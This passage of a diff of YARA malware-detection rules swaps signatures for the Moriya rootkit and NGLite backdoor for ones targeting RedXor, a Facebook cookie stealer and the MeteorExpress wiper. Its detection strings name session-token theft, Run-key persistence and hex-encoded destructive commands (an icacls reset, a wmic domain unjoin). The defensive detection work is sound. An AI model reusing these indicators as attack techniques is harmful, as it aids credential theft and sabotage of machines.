6b 69 65 20 25 73 3d 22 25 73 22 20 66 6f 72 20 64 6f 6d 61 69 6e 20 25 73 2c 20 70 61 74 68 20 25 73 2c 20 65 78 70 69 72 65 20 25 49 36 34 64 0a } + $s13 = "User-Agent: %s" fullword ascii + $s14 = "Send failure: %s" fullword ascii + $s15 = "ftp://%s:%s@%s" fullword ascii + $s16 = "Host: %s%s%s" fullword ascii + $s17 = "Referer: %s" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 6KB and ( 3 of ( $seq* ) or 6 of ( $s* ) ) + uint16( 0 ) == 0x4D5A and filesize < 450KB and 14 of them } -rule ARKBIRD_SOLG_MAL_Moriya_May_2021_2 : FILE +rule ARKBIRD_SOLG_MAL_Redxor_Feb_2021_1 : FILE { meta: - description = "Detect Moriya rootkit used in the TunnelSnake operation" + description = "Detect RedXor backdoor (Feb 2021)" author = "Arkbird_SOLG" - id = "25cecff1-94f9-5e8d-8758-9b891e9d7373" - date = "2020-05-26" - modified = "2021-05-27" - reference = "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-26/Moriya/MAL_Moriya_May_2021_2.yara#L1-L22" + id = "10ae10b7-b351-5dda-9408-aa01a40e3d6a" + date = "2021-03-14" + modified = "2021-05-24" + reference = "https://www.intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-23/RedXor/MAL_RedXor_Feb_2021_1.yara#L1-L20" license_url = "N/A" - logic_hash = "11ef00940604c3337b1c8c00903297343cfd4e8f3899b949d58e4203ab68d3fd" + logic_hash = "b4e3ea24bb19abe7065ed5fc94f65e68ea84b11da7b45936ee991ef6aac6d33d" score = 75 quality = 75 tags = "FILE" - hash1 = "ce21319bd21f76ab0f188a514e8ab1fe6f960c257475e45a23d11125d78df428" + hash1 = "0423258b94e8a9af58ad63ea493818618de2d8c60cf75ec7980edcaa34dcc919" + hash2 = "0a76c55fa88d4c134012a5136c09fb938b4be88a382f88bf2804043253b0559" tlp = "White" - adversary = "Chinese APT Group" + adversary = "Winnti" strings: - $seq1 = { 8b 35 c4 30 40 00 8d 45 dc 68 92 24 40 00 50 ff d6 68 cc 24 40 00 8d 45 e4 50 ff d6 68 58 42 40 00 57 57 6a 22 8d 45 dc 50 57 53 ff 15 5c 30 40 00 8b f0 85 f6 0f 88 0a ff ff ff a1 58 42 40 00 83 48 1c 04 8d 45 dc 50 8d 45 e4 50 ff 15 60 30 40 00 e8 b2 00 00 00 } - $seq2 = { 68 3c 24 40 00 50 ff 15 c4 30 40 00 8d 85 d8 fe ff ff 50 ff 15 bc 30 40 00 85 c0 74 1b 8d 8d e0 fe ff ff 51 ff d0 8b 8d e4 fe ff ff 8b 85 e8 fe ff ff 0f b7 5d f4 eb 28 53 8d 85 cc fe ff ff 50 8d 85 d4 fe ff ff 50 8d 85 d0 fe ff ff 50 ff 15 ac 30 40 00 8b 8d d0 fe ff ff 8b 85 d4 fe ff ff c1 e1 08 0f b6 c0 0b c1 0f b6 cb } - $seq3 = { 8b 75 c0 8d 45 cc 50 ff 15 94 30 40 00 8b 5d c8 8b 43 0c 8b 55 bc 89 42 20 8b 43 08 89 42 1c 80 62 03 0f 8a 43 10 24 0f 08 42 03 8b 4b 08 85 c9 74 30 80 7e 24 00 74 06 f6 43 10 20 75 17 8b 46 18 85 c0 78 0a f6 43 10 40 75 0a 85 c0 79 20 f6 43 10 80 74 1a ff 73 0c 56 ff 75 b4 ff d1 8b f8 eb 0d 80 7e 21 00 74 07 8b 46 60 80 48 03 01 68 74 6e 68 00 53 ff 15 b4 30 40 00 } - $seq4 = { 6a 79 68 78 6f 00 00 68 72 70 00 00 6a 69 68 73 6e 00 00 6a 5c 68 72 65 00 00 6a 76 68 69 72 00 00 68 44 5c 00 00 50 e8 a2 f8 ff ff 83 c4 30 8d 85 7c ff ff ff 50 8d 85 6c ff ff ff 50 ff 15 c4 30 40 00 a1 88 30 40 00 68 34 42 40 00 56 56 ff 30 8d 85 6c ff ff ff 56 56 6a 40 50 ff 15 90 30 40 00 } - $seq5 = { 55 8b ec 81 ec 28 01 00 00 a1 04 40 40 00 33 c5 89 45 fc 8b 45 08 53 8b 5d 10 56 8b 75 0c 57 89 85 e8 fe ff ff 8d 7d 88 8b 45 14 6a 07 89 85 e4 fe ff ff 33 c0 59 f3 ab 33 ff 89 b5 d8 fe ff ff 68 94 00 00 00 8d 85 f0 fe ff ff 89 bd ec fe ff ff 57 50 e8 48 03 00 00 6a 06 89 7d e0 33 c0 59 8d 7d e4 f3 ab 33 ff 8d 45 a8 6a 38 57 50 89 7d a4 e8 2a 03 00 00 89 bd dc fe ff ff 8d 45 84 89 bd e0 fe ff ff 83 c4 18 89 bd dc fe ff ff 89 bd e0 fe ff ff 8d 7d 84 a5 ff b5 e4 fe ff ff 50 a5 53 a5 a5 c7 45 98 68 1b } - $s1 = "\\Device\\MoriyaStreamWatchmen" fullword wide - $s2 = "Moriya Filter" fullword wide - $s3 = "Moriya Callout" fullword wide - $s4 = "\\DosDevices\\MoriyaStreamWatchmen" fullword wide + $seq1 = { 0f b7 05 [2] 20 00 66 85 c0 0f 85 cd 00 00 00 48 8d 85 ?? ff ff ff be 10 00 00 00 48 89 c7 e8 [2] ff ff 66 c7 85 ?? ff ff ff 02 00 0f b7 05 [2] 20 00 0f b7 c0 89 c7 e8 [2] ff ff 66 89 85 ?? ff ff ff 48 8b 45 d8 48 89 c7 e8 [2] ff ff 89 85 ?? ff ff ff ba 00 00 00 00 be 01 00 00 00 bf 02 00 00 00 e8 [2] ff ff 89 85 ?? ff ff ff 83 bd ?? ff ff ff ff 75 21 8b 85 ?? ff ff ff 89 c7 e8 [2] ff ff bf 0a 00 00 00 e8 [2] ff ff b8 00 00 00 } + $seq2 = { 48 8d 8d ?? ff ff ff 8b 85 ?? ff ff ff ba 10 00 00 00 48 89 ce 89 c7 e8 [2] ff ff 83 f8 ff 75 47 8b 85 ?? ff ff ff 89 c7 e8 [2] ff ff bf 0a 00 00 00 e8 [2] ff ff b8 00 00 00 } + $seq3 = { 48 8d 85 [2] fd ff be 00 10 00 00 48 89 c7 e8 [2] ff ff b9 [2] 40 00 48 8b 95 [2] fd ff 48 8d 85 [2] fd ff 48 89 ce 48 89 c7 b8 00 00 00 00 e8 [2] ff ff 48 8d 85 [2] fd ff 48 89 c7 e8 [2] ff ff 89 85 30 ff ff ff 8b 85 30 ff ff ff 48 63 d8 8b 85 30 ff ff ff 48 63 c8 48 8d 95 [2] fd ff 48 8d 85 [2] fe ff 49 89 d8 be [2] 40 00 48 89 c7 e8 [2] ff ff 89 85 2c ff ff ff 8b 85 2c ff ff ff 48 63 d0 48 8d 9d [2] fe ff 8b 85 ?? ff ff ff b9 00 00 00 00 48 89 de 89 c7 e8 [2] ff ff 48 83 f8 ff 75 21 8b 85 ?? ff ff ff 89 c7 e8 [2] ff ff bf 0a 00 00 00 e8 [2] ff ff b8 00 00 00 } + $seq4 = { c7 45 a8 01 00 00 00 c7 45 ac 01 00 00 00 c7 05 [2] 20 00 00 00 00 00 48 8d 85 [2] fd ff be 00 10 00 00 48 89 c7 e8 [2] ff ff b9 [2] 40 00 48 8d 85 [2] fd ff ba ?? 00 00 00 48 89 ce 48 89 c7 e8 [2] ff ff 48 8d 85 [2] fd ff 48 89 c7 e8 [2] ff ff 48 89 c2 8b 85 ?? ce fd ff 48 8d 8d [2] fd ff 48 89 ce 89 c7 e8 [2] ff ff 48 8d 85 [2] fd ff be 00 10 00 00 48 89 c7 e8 [2] ff ff 8b 85 ?? ce fd ff 48 8d 8d [2] fd ff ba ff 0f 00 00 48 89 ce 89 c7 e8 [2] ff ff 89 85 40 ff ff ff 83 bd 40 ff ff ff ff 75 0a c7 85 40 ff ff ff 00 00 00 00 48 8d 85 [2] fd ff be [2] 40 00 48 89 c7 e8 [2] ff ff 48 85 c0 0f 84 d0 00 00 00 48 8d 85 [2] fd ff be 00 10 00 00 48 89 c7 e8 [2] ff ff b9 [2] 40 00 48 8d 85 [2] fd ff ba 02 00 00 00 48 89 ce 48 89 c7 e8 [2] ff ff e8 [2] ff ff 89 c7 e8 [2] ff ff 48 89 45 e8 be 00 02 00 00 bf [2] 60 00 e8 [2] ff ff 48 8b 45 e8 48 8b 00 48 89 c6 bf [2] 60 00 e8 [2] ff ff be 00 02 00 00 bf [2] 60 00 e8 [2] ff ff be 00 02 00 00 bf [2] 60 00 e8 [2] ff ff bb [2] 40 00 48 8d 95 [2] fd ff 48 8d 85 [2] fd ff 41 b8 [2] 60 00 48 89 d1 ba [2] 60 00 48 89 de 48 89 c7 b8 00 00 00 00 e8 [2] ff ff 48 8d 85 [2] fd ff 48 89 c7 e8 [2] ff ff 89 85 30 ff ff ff c7 45 ac 00 00 00 } + $seq5 = { 55 48 89 e5 53 89 fb 89 f0 48 89 55 d8 89 4d d4 88 5d e4 88 45 e0 0f b6 45 e4 88 45 f2 0f b6 45 e0 88 45 f3 c7 45 f4 00 00 00 00 c7 45 f4 00 00 00 00 eb 29 8b 45 f4 48 98 48 03 45 d8 8b 55 f4 48 63 d2 48 03 55 d8 0f b6 0a 0f b6 55 f2 31 ca 88 10 0f b6 45 f3 00 45 f2 83 45 f4 01 8b 45 f4 3b 45 d4 7c cf b8 00 00 00 00 5b } + $seq6 = { 55 48 89 e5 53 48 81 ec 68 0d 00 00 48 89 bd d8 f2 ff ff c7 45 90 31 32 37 2e c7 45 94 30 2e 30 2e 48 c7 45 98 31 00 00 00 c7 45 a0 00 00 00 00 c7 85 70 ff ff ff 30 30 2d 30 c7 85 74 ff ff ff 30 2d 30 30 c7 85 78 ff ff ff 2d 30 30 2d c7 85 7c ff ff ff 30 30 2d 30 c7 45 80 30 00 00 00 48 c7 45 a8 [2] 40 00 } condition: - uint16( 0 ) == 0x5a4d and filesize > 6KB and ( 3 of ( $seq* ) or 2 of ( $s* ) ) + uint32( 0 ) == 0x464c457f and filesize > 25KB and all of ( $seq* ) } -rule ARKBIRD_SOLG_MAL_Nglite_Nov_2021_2 : FILE + +rule ARKBIRD_SOLG_MAL_Stealer_Cookie_July_2020_1 : FILE { meta: - description = "Detect NGLite backdoor (version B)" + description = "Detect strings used by EdgeCookiesView and ChromeCookiesView in the ressources of the Cookie Stealer" author = "Arkbird_SOLG" - id = "e18f2891-366b-5cff-a17e-63523bfd9cee" - date = "2021-11-08" - modified = "2021-11-09" - reference = "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-08/NGLite/MAL_NGLite_Nov_2021_2.yara#L1-L19" + id = "02a68973-73b2-572a-a358-f0edc921773a" + date = "2020-07-09" + modified = "2020-07-09" + reference = "https://twitter.com/JAMESWT_MHT/status/1281154921811841026" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-07-09/MAL_Stealer_Cookie_July_2020_1.yar#L3-L32" license_url = "N/A" - logic_hash = "4d44d208010ca17f47f597f7d9eb5ee39d91a2d9077218a173ef0015699dc296" + logic_hash = "63747567a9dd68ac0d16b67910957cb9bc28d7237f431ac0c76403ca810e1b94" score = 75 - quality = 75 + quality = 50 tags = "FILE" - hash1 = "3f868ac52916ebb6f6186ac20b20903f63bc8e9c460e2418f2b032a207d8f21d" - hash2 = "805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f" - tlp = "white" - adversary = "-" + hash1 = "47b2b56c961cdc78bf06eed30737232ba99424b51648418bacacd522a12ad339" strings: - $s1 = { 8b 05 64 ?? bf 00 8d 0d e0 ?? c6 00 89 04 24 89 4c 24 04 c7 44 24 08 08 02 00 00 e8 d0 1d 00 00 8b 44 24 0c 85 c0 74 2e 3d 08 02 00 00 77 27 8d 1d e0 ?? c6 00 c6 04 03 5c 40 89 05 24 ?? c6 00 e9 0b ff ff ff 31 c0 e8 44 9f 02 00 ba 09 02 00 00 e8 6a 9f 02 00 8d 05 ?? 7b 8a 00 89 04 24 c7 44 24 04 24 00 00 00 e8 a4 3b 00 00 31 c0 e8 1d 9f 02 00 90 e8 57 86 02 } - $s2 = { 83 ec 40 c7 44 24 18 00 00 00 00 c7 44 24 14 00 00 00 00 8b 05 70 ?? bf 00 89 04 24 c7 44 24 04 ff ff ff ff 8d 44 24 18 89 44 24 08 8d 44 24 14 89 44 24 0c e8 21 15 00 00 8b 44 24 10 85 c0 74 32 31 c0 31 c9 eb 03 40 89 d1 83 f8 20 7d 20 19 d2 89 cb 89 c1 bd 01 00 00 00 d3 e5 21 d5 23 6c 24 18 85 ed 74 05 8d 53 01 eb dc 89 da eb d8 85 c9 75 2d 8d 7c 24 1c 31 c0 e8 63 98 02 00 8b 0d 60 ?? bf 00 89 0c 24 8d 4c 24 1c 89 4c 24 04 e8 46 14 00 00 8b 4c 24 30 89 4c 24 44 83 c4 40 c3 89 4c 24 44 83 c4 40 c3 e8 4d 7d 02 00 e9 38 } - $s3 = { 0f b6 2c 13 95 80 f8 80 95 72 f0 c7 44 24 20 00 00 00 00 8b 0d 7c ?? bf 00 89 0c 24 89 44 24 04 8d 4c 24 20 89 4c 24 08 e8 77 0b 00 00 8b 44 24 0c 85 c0 75 4a c7 44 24 1c 00 00 00 00 8b 05 20 ?? bf 00 89 04 24 8b 44 24 24 89 44 24 04 8b 44 24 30 89 44 24 08 8b 44 24 34 89 44 24 0c 8d 44 24 1c 89 44 24 10 c7 44 24 14 00 00 00 00 e8 f1 0b 00 00 8b 44 24 1c 89 44 24 38 83 c4 28 c3 8b 44 24 24 89 04 24 8b 44 24 30 89 44 24 04 8b 44 24 34 89 44 24 08 e8 59 00 00 00 8b 44 24 } - $s4 = { 83 ec 50 c7 44 24 24 00 00 00 00 8b 05 88 ?? bf 00 89 04 24 c7 44 24 04 ff ff ff ff c7 44 24 08 fe ff ff ff c7 44 24 0c ff ff ff ff 8d 44 24 24 89 44 24 10 c7 44 24 14 00 00 00 00 c7 44 24 18 00 00 00 00 c7 44 24 1c 02 00 00 00 e8 09 04 00 00 64 8b 05 14 00 00 00 8b 80 00 00 00 00 8b 40 18 84 00 05 68 01 00 00 89 04 24 8b 44 24 24 89 44 24 04 e8 d2 86 fd ff 8d 7c 24 34 31 c0 e8 60 86 02 00 8b 05 30 ?? bf 00 89 04 24 8d 44 24 34 89 44 24 04 8d 44 24 34 89 44 24 08 c7 44 24 0c 1c 00 00 00 e8 b1 02 00 00 8b 44 24 } - $s5 = { 8b 05 94 ?? bf 00 89 04 24 c7 44 24 04 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 10 00 00 00 00 e8 ed 05 00 00 8b 44 24 14 8b 4c 24 1c 89 81 b4 01 00 00 85 c0 74 7e 8b 05 94 ?? bf 00 89 04 24 c7 44 24 04 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 10 00 00 00 00 e8 ad 05 00 00 8b 44 24 14 8b 4c 24 1c 89 81 b8 01 00 00 85 c0 74 04 83 c4 18 c3 8d 05 ?? ?? 8b 00 89 04 24 e8 c9 6c 02 00 8b 05 98 ?? bf 00 8b 4c 24 1c 8b 91 b4 01 00 00 89 04 24 89 54 24 04 e8 ad 04 00 00 8b 44 24 1c c7 80 b4 01 } + $x1 = "C:\\Users\\admin1\\AppData\\Local\\Temp\\samplebin.exe" fullword wide + $x2 = "https://graph.facebook.com/v7.0/act_fb_uid?access_token=fb_access_token&_index=5&_reqName=adaccount&_reqSrc=AdsCMPaymentsAccount" ascii + $x3 = "https://graph.facebook.com/v7.0/act_fb_uid?access_token=fb_access_token&_reqName=adaccount&_reqSrc=AdsCMPaymentsAccountDataDispa" ascii + $x4 = "Cookie:" fullword ascii + $x5 = "autoLoginCookie name=" fullword ascii + $x6 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.113 Safari/537.36" fullword wide + $s7 = "https://graph.facebook.com/v7.0/act_fb_uid?access_token=fb_access_token&_priority=HIGH&_reqName=adaccount&_reqSrc=AdsCMAccountSp" ascii + $s8 = "https://www.facebook.com/login/device-based/login/" fullword wide + $s9 = "api/?sid=" fullword wide + $s10 = "/deleteregkey" fullword ascii + $s11 = "Old cookies folder of Edge/IE" fullword ascii + $s12 = "https://graph.facebook.com/v7.0/me/adaccounts?access_token=fb_access_token&_reqName=me%2Fadaccounts&_reqSrc=AdsTypeaheadDataMana" ascii + $s13 = "https://graph.facebook.com/v7.0/me/adaccounts?access_token=fb_access_token&_reqName=me%2Fadaccounts&_reqSrc=AdsTypeaheadDataMana" ascii + $s14 = "ChromeCookiesView.exe" fullword wide + $s15 = "EdgeCookiesView.exe" fullword wide + $s16 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" fullword wide + $s17 = "login/device-based/login" fullword ascii + $s18 = "c_user" fullword wide + $s19 = "c:\\Projects\\VS2005\\EdgeCookiesView\\Release\\EdgeCookiesView.pdb" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 40KB and 4 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize < 2600KB and ( pe.imphash ( ) == "89c8a19cc2d9172de5901988530c700d" or ( ( 3 of ( $x* ) ) and ( 8 of ( $s* ) ) ) ) } -rule ARKBIRD_SOLG_MAL_Nglite_Nov_2021_1 : FILE +rule ARKBIRD_SOLG_WIP_Meteorexpress_Aug_2021_1 : FILE { meta: - description = "Detect NGLite backdoor (version A)" + description = "Detect MeteorExpress/BreakWin wiper" author = "Arkbird_SOLG" - id = "cf2845f3-1176-5197-9d05-f123b0f23c75" - date = "2021-11-09" - modified = "2021-11-09" - reference = "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-08/NGLite/MAL_NGLite_Nov_2021_1.yara#L1-L19" + id = "6dffc8c9-ccd0-5cf3-8f3c-38adad8508b2" + date = "2021-08-06" + modified = "2021-08-07" + reference = "https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-07/BreakWin/WIP_MeteorExpress_Aug_2021_1.yara#L1-L26" license_url = "N/A" - logic_hash = "ebafc52da76b9a960ee3c2c99955fb5dcb4acff2b7a0d7fad714bfc17617331a" + logic_hash = "80e40479d699b988d1282e407edd51b5e3ea796ebf380d82f5a5aafaacafe75d" score = 75 - quality = 75 + quality = 71 tags = "FILE" - hash1 = "7e4038e18b5104683d2a33650d8c02a6a89badf30ca9174576bf0aff08c03e72" - hash2 = "3da8d1bfb8192f43cf5d9247035aa4445381d2d26bed981662e3db34824c71fd" + hash1 = "2aa6e42cb33ec3c132ffce425a92dfdb5e29d8ac112631aec068c8a78314d49b" + hash2 = "074bcc51b77d8e35b96ed444dc479b2878bf61bf7b07e4d7bd4cf136cc3c0dce" + hash3 = "6709d332fbd5cde1d8e5b0373b6ff70c85fee73bd911ab3f1232bb5db9242dd4" + hash4 = "9b0f724459637cec5e9576c8332bca16abda6ac3fbbde6f7956bc3a97a423473" tlp = "white" adversary = "-" strings: - $s1 = { 48 8b 05 48 e7 90 00 48 8d 0d 99 4b 99 00 48 89 04 24 48 89 4c 24 08 48 c7 44 24 10 08 02 00 00 e8 82 21 00 00 48 8b 44 24 18 48 85 c0 74 33 48 3d 08 02 00 00 77 2b 48 8d 1d 69 4b 99 00 c6 04 03 5c 48 ff c0 48 89 05 4b 3f 99 00 e9 d6 fe ff ff 31 c0 e8 8f fc 02 00 ba 09 02 00 00 e8 b5 fc 02 00 48 8d 05 fe d5 55 00 48 89 04 24 48 c7 44 24 08 24 00 00 00 e8 cc 44 00 00 31 c0 e8 65 fc 02 00 90 e8 af d2 02 } - $s2 = { 48 83 ec 70 48 89 6c 24 68 48 8d 6c 24 68 48 c7 44 24 30 00 00 00 00 48 c7 44 24 28 00 00 00 00 48 8b 05 bf dc 90 00 48 89 04 24 48 c7 44 24 08 ff ff ff ff 48 8d 44 24 30 48 89 44 24 10 48 8d 44 24 28 48 89 44 24 18 e8 39 17 00 00 48 83 7c 24 20 00 74 35 31 c0 31 c9 eb 24 48 89 ca 48 89 c1 bb 01 00 00 00 48 d3 e3 48 23 5c 24 30 48 8d 72 01 48 85 db 48 0f 45 d6 48 ff c0 48 89 d1 48 83 f8 40 7c d6 48 85 c9 75 3e 0f 57 c0 0f 11 44 24 38 0f 11 44 24 48 0f 11 44 24 58 48 8b 05 23 dc 90 00 48 89 04 24 48 8d 44 24 38 48 89 44 24 08 e8 10 16 00 00 8b 44 24 58 89 44 24 78 48 8b 6c 24 68 48 83 c4 70 c3 89 4c 24 78 48 8b 6c 24 68 48 } - $s3 = { 48 8b 05 60 cc 90 00 48 89 04 24 0f 57 c0 0f 11 44 24 08 0f 11 44 24 18 e8 02 07 00 00 48 8b 44 24 28 48 8b 4c 24 40 48 89 81 10 03 00 00 48 85 c0 0f 84 80 00 00 00 48 8b 05 29 cc 90 00 48 89 04 24 0f 57 c0 0f 11 44 24 08 0f 11 44 24 18 e8 cb 06 00 00 48 8b 44 24 28 48 8b 4c 24 40 48 89 81 18 03 00 00 48 85 c0 74 0a 48 8b 6c 24 30 48 83 c4 38 c3 48 8d 05 ac e0 56 00 48 89 04 24 e8 1b b6 02 00 48 8b 05 e4 cb 90 00 48 8b 4c 24 40 48 8b 91 10 03 00 00 48 89 04 24 48 89 54 24 08 e8 5a 05 00 00 48 8b 44 24 40 48 c7 80 10 03 00 00 00 00 00 00 eb b3 48 8d 05 61 e0 56 00 48 89 04 24 e8 d8 b5 02 00 e9 6b ff ff ff 48 8b 6c 24 30 48 83 c4 38 } - $s4 = { 48 81 ec a0 00 00 00 48 89 ac 24 98 00 00 00 48 8d ac 24 98 00 00 00 48 c7 44 24 48 00 00 00 00 48 8b 05 8a c9 90 00 48 89 04 24 48 c7 44 24 08 ff ff ff ff 48 c7 44 24 10 fe ff ff ff 48 c7 44 24 18 ff ff ff ff 48 8d 44 24 48 48 89 44 24 20 0f 57 c0 0f 11 44 24 28 48 c7 44 24 38 02 00 00 00 e8 3b 05 00 00 65 48 8b 04 25 28 00 00 00 48 8b 80 00 00 00 00 48 8b 40 30 48 8b 4c 24 48 48 87 88 78 02 00 00 0f 57 c0 0f 11 44 24 68 0f 11 44 24 78 0f 11 84 24 88 00 00 00 48 8b 05 5f c8 90 00 48 89 04 24 48 8d 44 24 68 48 89 44 24 08 48 8d 44 24 68 48 89 44 24 10 48 c7 44 24 18 30 00 00 00 e8 59 03 00 00 48 83 7c 24 20 } - $s5 = { 48 8b 15 26 29 92 00 48 89 14 24 48 89 4c 24 08 48 89 44 24 10 48 c7 44 24 18 00 10 00 00 48 c7 44 24 20 04 00 00 00 e8 71 64 01 00 48 83 7c 24 28 00 40 0f 94 c6 48 8b 44 24 38 48 8b 4c 24 48 48 8b 54 24 68 48 8b 5c 24 40 e9 61 ff ff ff 48 8b 6c 24 50 48 83 c4 58 c3 48 8b 6c 24 50 48 83 c4 58 c3 e8 25 91 01 00 48 8d 05 e2 b8 56 00 48 89 04 24 48 c7 44 24 08 19 00 00 00 e8 bc 9a 01 00 48 8b 44 24 38 48 89 04 24 e8 be 97 01 00 48 8d 05 9a b1 56 00 48 89 04 24 48 c7 44 24 08 19 00 00 00 e8 95 9a 01 00 8b 44 24 34 48 89 04 24 e8 98 97 01 00 e8 73 93 01 00 e8 5e 91 01 00 48 8d } + $s1 = { 8d 04 2a 8b f1 3b c8 0f 42 f0 33 c9 8b c6 83 c0 01 0f 92 c1 f7 d9 0b c8 e8 42 00 00 00 53 68 18 2c 41 00 50 89 44 24 1c 89 5f 10 89 77 14 e8 aa 20 00 00 8b 74 24 1c 83 c4 0c c6 04 1e 00 83 fd 10 72 0a 8b 0f 8d 55 01 e8 50 00 00 00 5d 89 37 8b c7 5f 5e 5b 59 } + $s2 = { 68 cc 00 00 00 b8 [3] 00 e8 [2] 00 00 8b f1 89 75 8c 83 4d d4 ff 33 c0 83 4d d8 ff 6a 44 5f 57 50 89 45 dc 89 45 e0 8d 45 90 50 e8 [3] 00 8d 46 1c 89 7d 90 83 c4 0c 83 78 14 08 72 02 8b 00 89 45 98 8d 7d e4 33 c0 83 c6 04 ab 8b ce 83 7e 14 08 ab ab 72 02 8b 0e 8b 46 10 8d 04 41 8b ce 72 02 8b 0e ff 75 8c 33 d2 50 51 8d 4d e4 89 55 e4 89 55 e8 89 55 ec e8 [2] fd ff 33 d2 89 55 fc 8b 45 e8 89 55 88 39 45 ec 74 0d 33 c9 66 89 08 83 c0 02 89 45 e8 eb 0f 8d 4d 88 51 50 8d 4d e4 e8 3c 02 00 00 33 d2 8b 7d 8c 8d 4d d4 51 8d 4d 90 51 8b 47 34 52 52 52 52 52 52 ff 75 e4 52 ff 70 04 ff 15 08 [2] 00 85 c0 74 28 ff 75 d8 8d 4f 3c e8 [2] ff ff ff 75 d4 8d } + $s3 = { 8b ec 83 e4 f8 83 ec 7c a1 14 50 41 00 33 c4 89 44 24 78 8b 45 0c 8b 4d 08 89 0c 24 53 56 57 83 e8 01 0f 84 05 01 00 00 83 e8 01 0f 84 23 01 00 00 83 e8 0d 74 15 ff 75 14 ff 75 10 ff 75 0c 51 ff 15 2c e1 40 00 e9 0b 01 00 00 8d 44 24 40 c6 05 f4 63 41 00 01 50 51 ff 15 30 e1 40 00 8b d8 6a 00 89 5c 24 18 ff 15 10 e0 40 00 8b f0 8d 44 24 48 56 50 53 ff 15 28 e1 40 00 56 ff 15 0c e0 40 00 83 3d f8 63 41 00 00 0f 84 8d 00 00 00 53 ff 15 04 e0 40 00 ff 35 f8 63 41 00 89 44 24 14 50 ff 15 00 e0 40 00 8b d8 8d 44 24 18 50 6a 18 ff 35 f8 63 41 00 ff 15 14 e0 40 00 8b 7c 24 20 8d 44 24 30 8b 74 24 1c 50 ff 74 24 10 ff 15 44 e1 40 00 8b 44 24 38 2b c6 8b 74 24 10 68 20 00 cc 00 99 2b c2 6a 00 8b c8 8b 44 24 44 6a 00 56 ff 74 24 30 2b c7 d1 f9 ff 74 24 30 99 2b c2 d1 f8 50 51 ff 74 24 34 ff 15 18 e0 40 00 53 56 ff 15 00 e0 40 00 56 ff 15 08 e0 40 00 8d 44 24 40 } + $s4 = { 38 1b 38 26 38 2e 38 39 38 3f 38 4a 38 50 38 5e 38 67 38 6c 38 79 38 7e 38 ec 38 } + $s5 = { 55 8b ec 51 a1 60 57 41 00 83 f8 fe 75 0a e8 8e 0d 00 00 a1 60 57 41 00 83 f8 ff 75 07 b8 ff ff 00 00 eb 1b 6a 00 8d 4d fc 51 6a 01 8d 4d 08 51 50 ff 15 50 e0 40 00 85 c0 74 e2 66 8b 45 08 8b } + $s6 = { 69 63 61 63 6c 73 2e 65 78 65 20 22 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 53 79 73 74 65 6d 44 61 74 61 5c 53 2d 31 2d 35 2d 31 38 5c 52 65 61 64 4f 6e 6c 79 22 20 2f 72 65 73 65 74 20 2f 54 } + $s7 = { 77 6d 69 63 20 63 6f 6d 70 75 74 65 72 73 79 73 74 65 6d 20 77 68 65 72 65 20 6e 61 6d 65 3d 22 25 63 6f 6d 70 75 74 65 72 6e 61 6d 65 25 22 20 63 61 6c 6c 20 75 6e 6a 6f 69 6e 64 6f 6d 61 69 6e 6f 72 77 6f 72 6b 67 72 6f 75 70 } + $s8 = { 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 } + $s9 = { 8b 55 ?? 8d 4d ?? e8 ?? ?? fe ff c6 45 fc 08 ff 15 ?? ?? 47 00 8b d0 8d 4d ?? e8 ?? ?? fe ff c6 45 fc 09 8d 45 ?? 50 8d 45 ?? 50 8d 4d ?? e8 ?? ?? ?? ff 83 ec 0c 8b cc 89 65 ?? 51 ff 70 04 ff 30 e8 ?? ?? ?? ff c6 45 fc 0a 83 ec 18 8b cc 89 65 ?? 68 ?? ?? 48 00 e8 ?? ?? ?? ff c6 45 fc 0b c6 45 fc 09 8d } condition: - uint16( 0 ) == 0x5a4d and filesize > 40KB and 4 of ( $s* ) + uint16( 0 ) == 0x5A4D and filesize > 25KB and 4 of ( $s* ) } -rule ARKBIRD_SOLG_APT_Evilnum_LNK_Jul_2021_1 : FILE +rule ARKBIRD_SOLG_APT_Kimsuky_PDF_Shellcode_Aug_2021_1 : FILE { meta: - description = "Detect LNK file used by EvilNum group" + description = "Detect Kimsuky shellcode used in fake PDF against South Korea" author = 